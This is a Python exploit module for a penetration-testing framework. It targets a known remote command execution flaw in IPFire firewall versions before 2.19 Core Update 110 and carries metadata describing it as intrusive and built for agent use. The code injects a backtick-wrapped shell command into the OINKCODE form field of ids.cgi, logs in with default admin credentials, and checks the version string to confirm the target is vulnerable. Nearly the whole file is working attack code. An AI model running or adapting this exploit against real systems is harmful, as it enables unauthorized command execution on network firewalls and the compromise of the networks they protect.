IPFire Oinkcode RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""IPFire Oinkcode RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'IPFire Oinkcode RCE',
        'description': 'Module exploits IPFire < 2.19 Core Update 110 Remote Code Execution vulnerability which allows executing command on operating system level.',
        'author': ['0x09AL', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.exploit-db.com/exploits/42149/'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(444, "Target HTTP port")
    ssl = OptBool(True, "SSL enabled: true/false")
    username = OptString("admin", "Username to log in with")
    password = OptString("admin", "Password to log in with")

    def execute(self, cmd):
        headers = {
            "Referer": "{}://{}:{}/cgi-bin/ids.cgi".format("https" if self.ssl else "http", self.target, self.port)
        }

        payload = "`{}`".format(cmd)

        data = {
            "ENABLE_SNORT_GREEN": "on",
            "ENABLE_SNORT": "on",
            "RULES": "registered",
            "OINKCODE": payload,
            "ACTION": "Download new ruleset",
            "ACTION2": "snort"
        }

        self.http_request(
            method="POST",
            path="/cgi-bin/ids.cgi",
            headers=headers,
            data=data,
            auth=(self.username, self.password)
        )

        return ""
    def check(self):
        response = self.http_request(
            method="GET",
            path="/cgi-bin/pakfire.cgi",
            auth=(self.username, self.password),
        )

        if response is None:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

        if response.status_code == 200:
            res = re.findall(r"IPFire ([\d.]{4}) \([\w]+\) - Core Update ([\d]+)", response.text)
            if res:
                version = res[0][0]
                update = int(res[0][1])

                if Version(version) <= Version("2.19") and update <= 110:
                    return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()